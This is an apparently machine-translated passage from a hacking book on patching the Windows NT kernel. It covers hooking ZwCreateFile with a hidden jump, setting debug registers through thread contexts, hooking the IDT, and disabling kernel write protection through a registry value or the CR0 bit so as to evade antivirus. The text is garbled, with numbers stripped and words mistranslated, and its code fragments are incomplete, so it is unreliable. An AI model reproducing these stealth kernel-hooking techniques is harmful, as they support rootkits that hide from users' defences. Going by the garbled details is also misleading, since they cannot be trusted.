caracteristică nu funcționează, dar acest sistem de operare intră încet, dar constant în neutilizare Capitolul Metode moderne de patch-uri // Afișează adresele tuturor paginilor care au acces la executare if (ÎIsBadCodePtr(p)) printf("% Xh ",p); // Treceți la pagina următoare p+= x ; Orez Pagini de memorie disponibile pentru execuție Eh, au stricat o astfel de idee Deși, oprește-te, nu au stricat nimic! La urma urmei, pe inelul zero (și șoferul nostru este executat acolo), poți face ce vrei Este puțin probabil să fie creată inteligența artificială, dar putem dezactiva protecția Adevărat, va fi o soluție prea vizibilă, urâtă și, de asemenea, nesigură Protecția pentru jumătatea superioară a memoriei nu este instalată în zadar Nu permite aplicațiilor să se strecoare și, deși sistemul de operare poate trăi fără o astfel de protecție, va fi doar barbar Să facem un experiment simplu - scrieți un program care transferă controlul undeva adânc în kernel și vedeți ce se întâmplă (Listing - ) Apoi să rulăm acest program pentru execuție și să aruncăm o privire la rezultat (Fig ) ^ situat „ = #include principal() Partea a IV-a Tehnici avansate de dezasamblare char *p; // Adresă arbitrară în jumătatea superioară a spațiului de adrese p = (char *) XBE FAC ; // Transferați controlul la p // (desigur, acest lucru ar putea fi făcut în C, // dar inserția de asamblare este mai eficientă) asm( mov ebx,[p] jmp ebx } Orez Consecințele accesării nucleului din modul aplicație După cum era de așteptat, obținem o excepție de „eroare de acces” și, în loc de nucleu, controlul este transferat la gestionarea excepțiilor structurale Fiecare proces are cel puțin un handler de structură instalat de sistemul de operare Afișează notoriul mesaj de eroare fatală și închide aplicația De asemenea, programatorul își poate instala propriile handlere care prinde excepții și gestionează situația critică într-un fel sau altul Din păcate, toate sunt realizate în contextul acestui proces, dificultățile de introducere în spațiul de adrese de care tocmai am vorbit Capat de drum? Deloc! De fapt, SEH este ultimul care preia controlul Când apare o excepție, procesorul trece automat în modul kernel și transferă controlul către sistemul de operare sau, mai degrabă, către codul indicat de intrarea corespunzătoare din Tabelul Descriptor de întreruperi (IDT) O reprezentare schematică a IDT este prezentată în fig Orice șofer poate modifica cu ușurință conținutul IDT la discreția sa, interceptând toate întreruperile de care are nevoie Tehnica de interceptare este descrisă în detaliu în orice carte dedicată programării în mod protejat și, în special, în manualul lui Yurov , care se numește „Assembler - manual” Sunt și cărți de S V Zubkov , multe V I Yurov "Asamblator Manual pentru universități" - Sankt Petersburg: Peter, S V Zubkov „Asamblator pentru DOS, Windows și UNIX” - Sankt Petersburg: DMK-Press, Peter, Capitolul Metode moderne de patch-uri numeroase cărți de M Hooke și binecunoscuta listă de corespondență a lui Oleg Kalashnikov (http://kalashnikofT ru/), așa că nu ne vom repeta aici codul țintă Orez organigrama IDT Principalul lucru este că este încă posibil să ne rezolvăm problema În ciuda faptului că jumătatea superioară a spațiului de adrese nu este disponibilă proceselor de aplicație, punctul de întrerupere hardware încă transferă controlul către handler, iar la nivelul aplicației acest lucru trece neobservat și pur și simplu nu ajunge la SEH Acestea sunt vicisitudinile pline de metamorfozele programării în mod protejat Adresa liniară a punctului de întrerupere este stocată în registrele DrO-Dr Acest lucru este spus de documentația proprietară de la Intel și AMD Codul sursă al interceptorului cu toate comentariile este dat în cartea menționată în mod repetat „Tehnica și filosofia atacurilor hackerilor” În familia Windows NT, punctele de întrerupere sunt de natură pur locală Fiecare proces deține propriul set de registre Dr -Dr și, deși numărul de puncte de întrerupere nu crește din aceasta, ele funcționează doar în contextul procesului în care au fost setate Din nou acest context! Nici o întreprindere nu este completă fără ea Aceasta este natura multitasking-ului Windows NT Totul este mai ușor în Windows x Acolo, punctele de întrerupere sunt de natură globală, extinzându-se la toate procesele, ceea ce este atât bun, cât și rău Este bine pentru că nu trebuie să intri în procesul altcuiva pentru a seta puncte de întrerupere, dar este rău pentru că punctele de întrerupere sunt declanșate în fiecare proces, iar managerul trebuie să-și dea seama cine este cine de fiecare dată Din fericire, avem două funcții puternice GetThreadcontext și SetThreadContext la dispoziție Primul citește contextul firului, al doilea, respectiv, îl setează În termeni generali, algoritmul arată astfel: determinăm pid-ul procesului dorit (și îl puteți determina folosind apelurile toolhelp , care sunt descrise în orice Întrebări frecvente ale hackerilor, sau folosind la fel de binecunoscută funcție nedocumentată zwQueryinformationProcess, descrisă acolo) Pid-ul rezultat este transmis funcției createToolhelp snapshot, eu creez Chris Kaspersky „Tehnica și filozofia atacurilor hackerilor” — M : Solon-R, Partea a IV-a Tehnici avansate de dezasamblare Distribuția curentă a procesului cu toate firele sale, care sunt analizate de funcțiile Thread First/Thread Next, care funcționează conform principiului binecunoscutei perechi FindFirstFile/ FindNextFile Primul fir, de regulă, este cel principal, deși în unele cazuri nu este cazul, dar acestea sunt deja detalii Oricum, ID-ul firului este transmis funcției OpenThread Aștepta! Ce este OpenThread? Nu există o astfel de funcție! OpenProcess este, iar OpenThread nu este furnizat structural Fiecare programator știe asta! Este suficient să ridici documentația și să citești Ha! Documentație! Hackerii obișnuiți îl citesc ultimul (dacă totul eșuează, citesc în sfârșit documentația) și înainte de asta pur și simplu apelează funcții la întâmplare sau, în cel mai rău caz, urcă în baza de cunoștințe MSDN, unde se spune fără echivoc că funcția OpenThread încă există Este exportat sincer de KERNEL DLL, dar nu este inclus în fișierele SDK și antet Nota cu numărul Q („Points to Remember When Writing a Debugger for Win s”), din , vorbește în mod specific despre acest lucru Deci nu este nevoie să vă plângeți de secretul informațiilor Funcția ia un singur argument, ID-ul firului de execuție, și returnează mânerul sau nul atunci când încercarea de deschidere eșuează (de exemplu, drepturi de acces insuficiente) Modificarea conținutului unui context din mers nu este permisă (este ca și cum ați rula o autostradă la un semafor roșu), așa că firul trebuie încetinit înainte de a schimba funcția suspendThread După aceea, puteți apela GetThreadcontext cu indicatorul context full și puteți citi contextul organizat ca structura de context cu același nume Din nou aici sunt dificultăți Platform SDK nu oferă nicio informație despre structura contextului, argumentând că nimeni nu trebuie să lucreze cu contextul la un nivel scăzut, este nedocumentat și implementat pe fiecare platformă în felul său De fapt, există într-adevăr doar o singură platformă - Intel și orice altceva este exotic Poți să spui orice vrei și să pui un nivel de abstractizare peste altul, dar programatorii nu se pot lăsa păcăliți de asta! Dezvoltatorii Windows erau conștienți de faptul că niciun program de sistem nu se poate descurca fără să lucreze cu registrele și ne-au oferit un minunat fișier WINNT H, care face parte din Platform SDK și conține definiții ale multor structuri nedocumentate (inclusiv structura contextului) cu mai multe sau comentarii mai puțin detaliate După ce modificăm registrele procesorului după bunul nostru plac, apelăm funcția GetThreadcontext și dezghețăm firul folosind funcția ResumeThread Toata lumea! Acum, handlerul nostru de hacker restabilește IDT-ul la forma sa anterioară și se autodistruge, descarcând driverul din memorie Într-o formă foarte simplificată, acest lucru se întâmplă, așa cum se arată în Lista - // Obține mânerul firului, // apelarea funcției nedocumentate OpenThread hThread = OpenThread(Id); if (IhThread) return; // Anesteziați firul SuspendThread(hThread); // Să presupunem că avem nevoie de un context complet //cu toate registrele de depanare Context ContextFlags = CONTEXT FULL; // Preluați contextul din măruntaiele firului GetThreadContext(hThread, Context); // Modificați registrele de depanare ale familiei Drx prin // setând un punct de întrerupere hardware pe codul piratat Capitolul Metode moderne de patch-uri // Implantează contextul actualizat înapoi în firul SetThreadContext(hThread, Context); // Treziți firul ResumeThread(hThread); Un mare dezavantaj al acestei tehnologii este că este prea vizibilă În plus, un fir se poate apăra cu ușurință împotriva GetThreadContext, dar în acest caz, torpedoul hackerului nostru are un plan strategic separat După cum știți, KERNEL DLL conține doar „wrapper” (învelișuri) de nivel înalt de funcții API reale care conduc la următorul „wrapper” reprezentat de NTDLL DLL Codul real se află în NTOSKRNL EXE, nucleul real al sistemului de operare care locuiește în jumătatea superioară a spațiului de adrese Funcțiile kernelului se execută întotdeauna în contextul altcuiva, care este în general contextul procesului care a numit funcția API Procesele care nu apelează nicio funcție API nu apar în natură Chiar dacă un proces constă dintr-o singură instrucțiune return (apropo, Windows refuză să încarce fișiere fără a importa KERNEL DLL), o anumită parte a codului bootloader-ului este executată în contextul procesului care este încărcat și apelează mai multe nuclee funcții Cu alte cuvinte, încărcarea unui proces fără a perturba nucleul este aproape imposibilă (cu excepția cazului în care îl încărcați într-o mașină virtuală) Aceasta înseamnă că registrele Drx pot fi setate direct din nucleu fără a apela funcțiile API GetThreadContext și SetThreadContext! Urmărirea acestor fraude este aproape imposibilă! Pentru a ne implementa planurile, trebuie să interceptăm una sau mai multe funcții de bază apelate din contextul procesului atacat chiar înainte ca mecanismul de apărare să preia controlul (după ce va fi prea târziu) Aceste condiții sunt îndeplinite de funcția ZwCreateFile Notă Adevărat, trebuie remarcat faptul că, dacă codul protejat este situat chiar la începutul aplicației, atunci funcția ZwCreateFile nu ne va ajuta în niciun fel și va trebui să-l construim în încărcătorul de fișiere PE, care este ceva mai mult complicat Lista dezasamblată va arăta ceva ca Lista - Desigur, adresa liniară a funcției din memorie va fi complet diferită, dar este ușor să o determinați din tabelul de export, deoarece NTOSKRNL EXE este, de fapt, un fișier executabil obișnuit ■■ Listarea Lista dezasamblată a funcției ZwCreateFile text: FC ZwCreateFile proc text: FC text: FC text: FC arg = octet ptr text: FC text: FC B + mov text: FC D lea text: FC CD E int text: FC B C C retn lângă; COD XREF: sub D + Dvp ; sub BlD + vp eax, Oh edx, [esp+arg ] Eh Ch text: FC B ZwCreateFile endp text: FBFE ; text: FBFE B FF mov edi, edi Structura codului de asamblare este destul de tipică pentru funcțiile cu prefixul zw Mai întâi sunt încărcate registrele, apoi instrucțiunea int Eh, urmată de retn xx Antivirușii sunt bine conștienți de acest lucru și, prin urmare, injecția „prostească” a comenzii jmp virus body va trezi imediat suspiciuni Dar înlocuirea comenzii retn xx este mult mai puțin vizibilă Problema este că retn xx Partea a IV-a Tehnici avansate de dezasamblare ia trei octeți, iar jmp virus body ia cinci! Din fericire, după sfârșitul funcțiilor zw, există aproape întotdeauna o secvență de V ff (comanda este my edi , edi, analogul de doi octeți al nop), lăsată pentru aliniere Împreună dau cinci octeți BINE! Salvăm comanda inițială retn xx în driverul nostru, facem jmp, care transferă controlul către handler-ul hackerului, aflat și el în driver I se cere să facă două lucruri - să pună în funcțiune registrele Drx și să restabilească comanda retn xx, transferându-i imediat controlul Cu alte cuvinte, acoperiți-vă urmele și plecați, fără a uita să stingeți lumina O da! Nu puteți modifica direct memoria nucleului, deoarece este protejată de modificări Cu toate acestea, această protecție poate fi ușor dezactivată Metoda unu Simplu, documentat, dar prea vizibil și pur și simplu inelegant Deschideți registry, găsiți secțiunea hklm\system\ CurrentControlSet\Control\SessionManager\MejmoryManagejment (Fig ) și creați un parametru EnforceWriteProtection de tipul reg dword în el Toata lumea! Protecția la scriere este dezactivată! Adevărat, și hacker-ul este și el dezactivat La urma urmei, oricine poate rula editorul de registry și poate vedea dacă protecția nucleului este activată De fapt, dacă SoftICE sau unele filtre de pachete (sniffer de rețea sau firewall) sunt instalate pe computerul atacat, atunci această cheie există deja și nu vor fi necesare eforturi suplimentare din partea noastră Dezvoltatorii de antivirus își iau capul - încercați să vă dați seama dacă această cheie are dreptul să stea aici sau nu Orez Dezactivarea protecției nucleului prin intermediul registrului Cu toate acestea, dacă doriți, nici măcar nu puteți accesa registry Protecția este dezactivată din mers prin resetarea bitului Write Protection (wp) din registrul CR și ulterior restaurată în același mod din mers, ceea ce face să pară că nimeni nu a atins nimic Gardienii se odihnesc! Tot codul se încadrează în câteva comenzi de asamblare, ceea ce este mult mai elegant decât cheile de registry greu de pronunțat Codul de asamblare pentru blocarea și restabilirea protecției nucleului din mers va fi furnizat mai târziu în acest capitol, într-o discuție detaliată despre hack-ul kernel-ului Windows NT/ /XP (vezi Lista ) Apropo, modificarea funcțiilor nucleului atunci când lucrați pe mașini multiprocesor conduce episodic sistemul într-un „ecran albastru”, ceea ce creează anumite probleme O modalitate mai corectă, dar și mai vizibilă, este editarea tabelului de export și utilizarea activă Capitolul Metode moderne de patch-uri „semafore” Patch-ul nucleului nu este o glumă! Trebuie să aveți experiență cu sistemele de procesare multiplă simetrică (Symmetric Multi-Processing, SMP) și să cunoașteți o mulțime de lucruri dintr-o mare varietate de domenii Dar cel care merge va stapani drumul, iar cel care alearga cade! Hack kernel Windows NT/ /XP Miezul sistemului de operare este locul în care viermii, virușii, rootkit-urile caută să pătrundă și, împreună cu acestea, firewall-uri, protectori de fișiere executabile, protecție împotriva copierii, antivirusuri și așa mai departe Toți sunt o competiție acerbă pentru supraviețuire între ei, manifestându-se ca un ecran albastru al morții Cum să infiltrezi nucleul conform tuturor regulilor și fără conflicte? Structura de bază Nucleul Windows NT este format din două componente cheie: sistemul executiv - sistemul executiv (denumit în continuare Kernel), implementat în fișierul ntoskrnl exe și biblioteca Hardware Abstraction Layer (HAL), reprezentată de HAL DLL fişier De fapt, numele fișierelor pot fi orice și, în funcție de tipul de nucleu, variază destul de mult Schematic, arhitectura nucleului sistemelor de operare din familia Windows NT/ /XP este prezentată în fig Conceptul inițial de construire a Windows NT a fost de a concentra tot codul dependent de sistem în HAL și de a-l folosi ca bază pentru construirea pe baza hardware-ului independent Partea a IV-a Tehnici avansate de dezasamblare sistem executiv Apoi, pentru a porta nucleul pe o nouă platformă, ar fi suficient să rescrieți doar HAL-ul, fără a atinge restul componentelor (cel puțin în teorie) În realitate, această cerință nu a fost niciodată îndeplinită și o cantitate mare de cod dependent de sistem a pătruns în sistemul executiv, iar HAL s-a transformat într-un morman continuu de funcții neclasificate strâns împletite cu sistemul executiv Astfel, schema pe două niveluri a organizării nucleului în prezent pare mai degrabă condiționată Sistemul executiv Windows NT implementează funcții de nivel înalt pentru gestionarea resurselor de bază (memorie, fișiere, procese și fire ), într-un sens, fiind un sistem de operare în miniatură Cele mai multe dintre aceste funcții sunt vag legate de caracteristicile de proiectare ale echipamentelor specifice Ele practic nu se schimbă de la un sistem de execuție la altul și sunt la fel de productive (sau neproductive) în toate nucleele O parte separată a sistemului executiv care implementează cele mai multe operațiuni de nivel scăzut și interacționează îndeaproape cu biblioteca de abstractizare hardware este numită kernel (Kernei) Majoritatea rutinelor nucleului sunt pentru uz pur intern și nu sunt exportate (deși sunt prezente în simbolurile de depanare) Aceleași proceduri care sunt exportate încep de obicei cu prefixele Ke (rutinele nucleului) sau ki (manevrarea întreruperilor nucleului) Aceasta este a treia mențiune a nucleului pe care am văzut-o, ceea ce creează o oarecare confuzie Să încercăm să simplificăm oarecum acest haos terminologic La cel mai înalt nivel de abstractizare, nucleul este de obicei numit setul de componente ale sistemului de operare care operează în inelul privilegiat de nivel zero (ring ) Coborând puțin mai jos, vom vedea că nucleul nu este deloc monolitic și este format din cel puțin două părți: nucleul în sine și driverele încărcate Nucleul Windows NT este implementat în două fișiere: o bibliotecă de abstractizare hardware (în esență un set de drivere primare) și un sistem executiv Alegerea sistemului executiv este controlată de cheia kernei a fișierului boot ini, motiv pentru care mulți oameni îl asociază cu nucleul, deși acest lucru nu este în întregime adevărat Și asta nu este tot! Subsistemele de mediu (Win , POSIX, OS/ ) au propriile lor nuclee, concentrate în bibliotecile de aplicații în modul neprivilegiat ale celui de-al treilea inel (ring ) Ei interacționează cu nucleul Windows NT printr-un „strat” special implementat în fișierul NTDLL DLL Nucleele de subsistem de mediu sunt adaptoare de trecere la nucleul Windows NT și sunt aproape complet abstracte din hardware Aproape, dar nu chiar! O parte din codul dependent de sistem este prezentă și aici Versiunile cu multiprocesor ale fișierelor NTDLL DLL și KERNEL DLL utilizează comanda nativă de blocare pentru a sincroniza firele În versiunile cu uniprocesor, această comandă își pierde sensul și este înlocuită cu comanda mai rapidă nop Cu siguranță există și alte diferențe, dar nu ne vom concentra asupra lor, deoarece impactul lor asupra performanței sistemului este neglijabil Dintre toată această diversitate, ne va interesa în primul rând nucleul sistemului executiv și HAL Tipuri de kernel Tipul de kernel selectat este determinat atât de caracteristicile arhitecturale ale unei anumite platforme hardware, cât și de preferințele personale ale utilizatorului de sistem, datorită specificului sarcinilor în curs de rezolvare Există cel puțin cinci criterii principale pentru clasificarea nucleelor: □ Tip platformă (Intel Pentium/Intel Itanium, Compaq SystemPro, AST Manhattan) □ Numărul de procesoare (nuclee cu un singur și multiprocesor) În literatura în limba rusă, termenul „fir de control” este adesea folosit pentru a se referi la fire Capitolul Metode moderne de patch-uri □ Cantitatea de memorie instalată (până la GB, peste GB) □ Tip de controler de întrerupere (nuclee APIS și PIC) □ Tip de enumerator rădăcină (kernel ACP și non-ACPI) Evident, nucleul trebuie să fie compatibil cu procesorul țintă la nivel de cod binar și să funcționeze în modul cel mai natural pentru acesta De exemplu, un procesor pe de biți care acceptă arhitectura IA va putea funcționa cu un nucleu standard de de biți, dar aceasta nu este o soluție rezonabilă Acest capitol discută problemele evaluării performanței relative a nucleelor într-o singură platformă hardware, iar subiectul selecției procesorului nu este acoperit aici Miezurile multiprocesor diferă de nucleele monoprocesor în primul rând prin faptul că „văd” toate procesoarele instalate și sunt capabile să interacționeze cu ele, atribuind această sarcină unui driver special încorporat în HAL În plus, au reproiectat radical mecanismele de sincronizare Dacă în nucleele monoprocesor, pentru a preveni întreruperea unei secțiuni critice de cod, este suficient să trageți irql la nivelul superior sau să blocați întreruperile cu comanda sy, atunci în nucleele cu multiprocesor această strategie nu mai funcționează, deoarece întreruperile sunt permise pe toate alte procesoare În astfel de cazuri, trebuie să recurgeți la spinlock-uri Pentru a proteja o secțiune de cod de interferența exterioară, sistemul pune un steag special, adăugând cererile primite la o coadă specială Desigur, acest lucru necesită o anumită perioadă de timp a procesorului, ceea ce afectează negativ performanța, dar nu avem altă opțiune Schema de programare a întreruperilor devine și ea mult mai complicată, deoarece acum un set de irq-uri trebuie împărțit între mai multe procesoare, iar tabelele de gestionare a întreruperilor hardware/software trebuie păstrate într-o stare consecventă Modificările au afectat și planificatorul, sau mai bine zis, strategia de planificare a firelor în sine, care poate fi implementată atât într-o schemă simetrică, cât și asimetrică (Fig ) Nuezele simetrice (și majoritatea dintre ele) permit executarea fiecărui thread-uri pe orice procesor liber, în timp ce cele asimetrice fixează rigid firele de sistem la unul dintre procesoare, executând fire de execuție pe toate celelalte Nucleele asimetrice nu sunt incluse ca standard cu Windows NT și sunt furnizate de obicei de furnizorii respectivi de hardware Prelucrare simetrică Prelucrare asimetrică Orez Prelucrare simetrică și asimetrică Lățimea magistralei de adrese externe a modelelor junior de procesoare Intel Pentium este de biți și, prin urmare, nu se pot adresa mai mult de GB de memorie fizică Deoarece pentru Partea a IV-a Tehnici avansate de dezasamblare servere serioase și stații de lucru puternice, acest lucru nu a fost suficient, începând cu Pentium Pro, lățimea magistralei a fost mărită la de biți, în urma cărora am putut să ne adresăm până la GB de memorie fizică Când funcționează în modul normal de paginare, cei patru biți înalți ai magistralei de adrese sunt setați la zero și, pentru a-i activa, este necesar să comutați procesorul în modul PAE (Physical Address Extensions), care diferă în structură din tabelele de paginare și acceptă pagini de memorie de MB Nucleele PAE sunt oarecum mai rapide decât nucleele convenționale, deoarece se potrivesc în primii MB din spațiul de adrese de proces într-o singură pagină, reducând astfel supraîncărcarea comutărilor de context între procese Puteți folosi nuclee PAE chiar dacă aveți instalată mai puțin de GB de memorie fizică, dar câștigul de performanță nu va fi foarte semnificativ În funcție de tipul de controler de întrerupere instalat pe placa de bază, ar trebui selectat fie PIC, fie APIC Controlerele RIS acceptă IRQ-uri și se găsesc doar pe plăcile de bază cu monoprocesor Controlerele APIC acceptă până la IRQ-uri și multiprocesare La nivel de software, controlerele PIC și APIC sunt compatibile reciproc, astfel încât nucleul PIC trebuie să funcționeze și cu controlerul APIC Cu toate acestea, în primul rând, va vedea doar IRQ-uri și, în al doilea rând, o astfel de configurație nu a fost testată de Microsoft și, prin urmare, nu există nicio garanție că sistemul nu se va bloca la pornire Plăcile de bază cu suport pentru tehnologia ACPI pot funcționa atât cu nuclee ACPI, cât și cu nuclee non-ACPI, în timp ce nucleele non-ACPI alocă în mod independent resursele sistemului de computer și interacționează direct cu dispozitivele, dar nucleele ACPI se bazează pe controlerul ACPI pentru orice, fiind de fapt enumeratorul rădăcină, adică magistrala principală a computerului la care sunt conectate toate celelalte magistrale și dispozitive Și deși această magistrală este virtuală, performanța sistemului scade semnificativ, deoarece controlerul ACPI tinde să blocheze toate dispozitivele PCI la o singură întrerupere, cu toate consecințele care decurg Pentru moment, nu vom intra în toate aceste detalii, ci ne vom concentra atenția asupra nucleului ca atare, deschizând cutia neagră Înainte de a invada nucleul, să încercăm să ne dăm seama de ce este nevoie de acest lucru și este posibil să ne descurcăm cu un strat de aplicație „democratic”, cu care există mult mai puține conflicte și alte probleme? Viermii, virușii și rootkit-urile se grăbesc în nucleu pentru a obține funcții de cel mai scăzut nivel care se ocupă de memorie, fișiere, conexiuni de rețea și procese Prin interceptarea acestor funcții, vă puteți masca în mod fiabil prezența în sistem Tehnici similare sunt folosite de protectorii fișierelor executabile precum Themida (fostul eXtreme Protector), protecția la copierea discurilor cu laser (Star-Force, SONY etc ) Tehnica este aceeași ca în virușii Stealth de acum - ani, doar implementările software sunt diferite Apropo, după un scandal de mare amploare și proceduri judiciare, SONY a recunoscut că au greșit retrăgând peste de titluri de discuri protejate Și băieții de la Star-Force continuă să folosească tehnici virale până în ziua de azi, aruncând în mod regulat sistemele utilizatorilor pe un ecran albastru și refuzând să lucreze cu versiuni noi de Windows fără a actualiza Star-Force în sine Firewall-urile, monitoarele de fișiere, antivirusurile și alți supraveghetori interceptează funcțiile nucleului, controlând și oprind orice activitate neautorizată De fapt, există „gags” speciale pentru firewall-uri precum „Filter-Hook Driver” (Filter-Trap Driver) sau Pseudo-Intermediate NDIS Driver (driver pseudo-intermediar NDIS) Cu toate acestea, toate, datorită naturii standard a interfețelor lor, sunt ușor dezactivate de programele rău intenționate, iar fiabilitatea soluțiilor de acest tip este extrem de scăzută În general, această abordare creează doar aparența de protecție, reprezentând în realitate o gaură solidă Este foarte dificil să reziste unei interceptări bine executate a funcțiilor nucleare, mai ales dacă interceptorul rezistă activ la îndepărtarea acesteia În plus, în cele mai recente nuclee Windows au apărut multe noi protecții care îngreunează viața unui hacker Este suficient să menționăm sistemul de activare și funcția de kernel asociată NtLockproductActivationKeys, implementată în apelul de sistem h în cazul Windows XP sau Ah în cazul Windows Server Capitolul Notă O listă de apeluri de sistem în diferite versiuni de Windows poate fi găsită pe site-ul web Meta Exploit Project: http://www metasploit com/users/opcode/syscalls html Dar demo-urile Windows care rulează, să zicem, doar de zile? Dar șoferii semnați digital? Apropo, în Windows Vista și Longhom sunt oferite modificări mult mai radicale Niciun cod de program nu va putea intra în modul kernel (chiar și cu drepturi de administrator!) decât dacă este semnat digital de singurul furnizor de criptomonede VeriSign În același timp, al cărui certificat inițial este de USD, iar certificatele sunt emise numai companiilor înregistrate în Statele Unite Săracii dezvoltatori de drivere! Virușii, viermii și alte creaturi vii vor pătrunde în continuare printr-un tunel direct către miez, deoarece este imposibil să interziceți capturarea inelului zero într-un sistem conceput inițial fără a conta pe astfel de interdicții! Prin urmare, dezvoltatorii legali vor trebui fie să așeze pungi de dolari pe altarul Microsoft, fie să folosească diverse trucuri de hackeri Alternativ, driverul poate fi semnat cu o semnătură de „depanare” inclusă în DDK, dar acest lucru este cumva nedemn În plus, Microsoft poate solicita în orice moment ca astfel de drivere să fie încărcate doar apăsând tasta în timpul fazei de încărcare În cele din urmă, uneori doriți să îmbunătățiți ușor nucleul, de exemplu, schimbând logo-ul plictisitor de boot cu ceva propriu Metode de modificare a nucleului Interceptarea funcțiilor sistemului, piratarea mecanismelor de apărare, rescrierea siglei - toate aceste acțiuni necesită modificarea nucleului, concentrată în fișierul Ntoskrnl exe Puteți modifica nucleul atât pe disc (patch off-line), cât și în memorie (patch on-line) Fiecare metodă are avantajele și dezavantajele sale, așa că un hacker experimentat ar trebui să fie la fel de competent în ambele Modificarea nucleului în memorie este posibilă numai din driver sau din modul aplicație prin pseudo-dispozitivul \Device\physicalMemory, care a fost disponibil administratorului până la Windows Server SP , iar după aceea a fost închis chiar și pentru utilizatorul de sistem ( consultați nota „Modificări ale funcționalității în Microsoft Windows Server Service Pack Device\PhysicalMemory Object” la http://www microsoft com/technet/prodtechnol/windowsserver /Iibrary/BookofSPl/e f a -cfl - a - a -be a mspx) Driverele (și, în plus, programele de aplicație) sunt încărcate după kernel Mai mult, ele sunt încărcate de nucleul însuși, care poate refuza deloc să le încarce dacă nu există semnătură digitală sau dacă nucleului „nu-i place” ceva În plus, orice șofer încărcat cu succes poate bloca încărcarea tuturor driverelor ulterioare sau îi poate împiedica să intercepteze funcțiile sistemului, precum și orice altă operațiune pe care o intenționează În lupta împotriva codurilor rău intenționate și a supraveghetorilor antivirus, ordinea de pornire devine extrem de relevantă În același timp, niciuna dintre părțile în conflict nu are o garanție de % că șoferul său va fi încărcat primul De asemenea, dacă nucleul anunță sfârșitul șirului de testare sau trimite sistemul să repornească înainte ca orice driver să fi avut timp să se încarce (ceea ce era practicat în versiunile timpurii de Windows NT), atunci nici un patch on-line nu va ajuta aici! Apropo, faptul intervenției în nucleu este ușor de detectat printr-o comparație banală a imaginii Ntoskrnl exe cu un fișier de disc Dezactivarea interceptării se realizează prin restaurarea octeților „corupti” împrumutați de la original Și deși un interceptor care vrea să rămână neobservat poate și ar trebui să urmărească toate apelurile către Ntoskrnl exe, mulți dezvoltatori uită de acest lucru Un patch off-line patchează nucleul (și, dacă este necesar, alte fișiere) înainte de a fi încărcat în memorie, ceea ce conferă acestui tip de corecție cea mai mare prioritate Puterile dezvoltatorului off-line sunt practic nelimitate, iar pentru a modifica nucleul, trebuie doar să ai drepturi de administrator pe mașina locală Accesul la fișier nu este blocat de sistem, iar modificările intră în vigoare imediat după o repornire, ceea ce este foarte ușor de aranjat cu drepturi de administrator, deși nu întotdeauna convenabil În cazurile în care o repornire este inadecvată sau nedorită, se recurge la modificarea nucleului în memorie cu încărcare dinamică a driverului Natural, Partea a IV-a Tehnici avansate de dezasamblare editarea Ntoskrnl exe este întâmpinată cu rezistență din partea SFC, dar această problemă poate fi rezolvată fără măcar a dezactiva SFC (și vom arăta cum puțin mai târziu) Celălalt lucru este mai rău - dacă mai multe programe încep să editeze nucleul, atunci se formează o astfel de mizerie încât sistemul cade într-un ecran albastru sau începe să se comporte complet neadecvat În plus, trebuie avut grijă să vă asigurați că instalarea de noi pachete de servicii (Service Rask) nu intră în conflict cu nucleul piratat În general, este ceva de vorbit aici! Modificarea kernelului în memorie Chiar și fiind în inelul zero, este imposibil să modifici direct memoria aparținând nucleului Faptul este că toate driverele sunt executate într-un singur spațiu de adrese, comun cu nucleul Prin urmare, fără protecție împotriva scrierilor neintenționate, sistemul ar suferi în mod constant de drivere care funcționează incorect proiectate cu erori grave Ca orice altă protecție împotriva accesului neintenționat, interzicerea modificării memoriei nucleare poate fi dezactivată Există cel puțin două moduri documentate de a face acest lucru - static și dinamic Notă Pe scurt, metoda statică de dezactivare a protecției la modificarea memoriei kernel a fost deja discutată mai devreme în acest capitol în secțiunea „Modificare fără modificarea octeților” Ea constă în crearea parametrului de registry EnforceWriteProtection (tip de date - reg dword) ca parte a HKLM\SYSTEM \CurrentControlSet\Control\SessionManager\MemoryManagement key \ și setați valoarea acesteia la Oh (vezi Figura ) După aceea, orice driver (dar nu un program de aplicație) poate modifica nucleul Principalul dezavantaj al acestei metode este potențiala nesiguranță, deoarece este foarte neînțelept să lăsați sistemul neprotejat Protecția este dezactivată dinamic prin resetarea bitului de protecție la scriere (wp) în registrul de control crO În consecință, resetarea bitului reactivează protecția Observatorii populari și cunoscuți nu monitorizează aceste fraude, așa că pot fi utilizați în toate versiunile de Windows Lista - arată codul unui pseudodriver care dezactivează temporar protecția la scriere a memoriei kernelului și apoi îl reactivează Se numește pseudo driver deoarece driverele reale (în adevăratul sens al cuvântului) sunt folosite pentru a controla dispozitivele reale (sau virtuale) Aveam nevoie doar de driver pentru a ajunge la inelul zero, așa că folosim doar procedura DnverEntry, care funcționează în etapa de inițializare, și returnăm imediat status device configuration error, raportând o eroare fictivă Ca urmare, sistemul va descărca șoferul, astfel încât să nu irosească memorie Puteți încărca driverul fie în modul obișnuit (prin registry), fie prin încărcătorul dinamic Sven Schreiber, atașat cărții sale „Funcții nedocumentate ale Windows ” Încărcătorul în sine, precum și alte fișiere cu cod sursă, pot fi descărcate de pe site-ul http://www wasm ru sau de pe site-ul cărții în sine (http://www rawol com/?topic= ) Lista Codul pentru pseudodrive kmiWR asm care dezactivează temporar protecția nucleului acestea sunt încă încărcate, dar aceasta nu este tot la fel Lista L ResultVlr" aakm piozkti exe fără recalcularea sumei de control Windows nu a putut porni deoarece fișierul followmg este missmg sau corupt: \System \ntoskml executabil Vă rugăm să reinstalați așternutul fișierului de mai sus Pentru a recalcula suma de control a unui fișier de sistem modificat, puteți utiliza utilitarul EDITBIN, care face parte din Platform SDK și Microsoft Visual Studio Linia de comandă este afișată în Lista - editbm exe /RELEASE filename exe Desigur, nu ar trebui să uitați de Windows System File Protection (SFC), care se străduiește să restaureze automat (sau manual) fișierele modificate Și deși SFC este ușor de calmat, pur și simplu dezactivându-l sau sincronizând un fișier de sistem modificat cu originalul său „de referință” stocat în cache, acest lucru nu va rezolva toate problemele Capitolul Când instalează următorul pachet de servicii care afectează nucleul, instalatorul pur și simplu nu înțelege ce versiune este și de unde provine Ca urmare, instalarea va fi întreruptă la mijloc După repornire, sistemul se va prăbuși într-un ecran albastru, iar utilizatorul final va trebui să se ocupe de resuscitarea acestuia Puteți citi mai multe despre asta pe blogul „Old New Thing” al lui Raymond Chen- http://blogs msdn com/oldnewthing/archive/ / / / aspx Pentru viruși, această tehnică poate fi potrivită, dar pentru programele comerciale este inacceptabilă în principiu! Din fericire, există o lacună interesantă - capacitatea de a înregistra un nucleu alternativ în fișierul boot ini, care va fi încărcat, apoi Ntoskrnl exe original poate fi lăsat intact Nici SFC, nici instalatorul de pachete de servicii nu vor protesta împotriva acestui lucru, 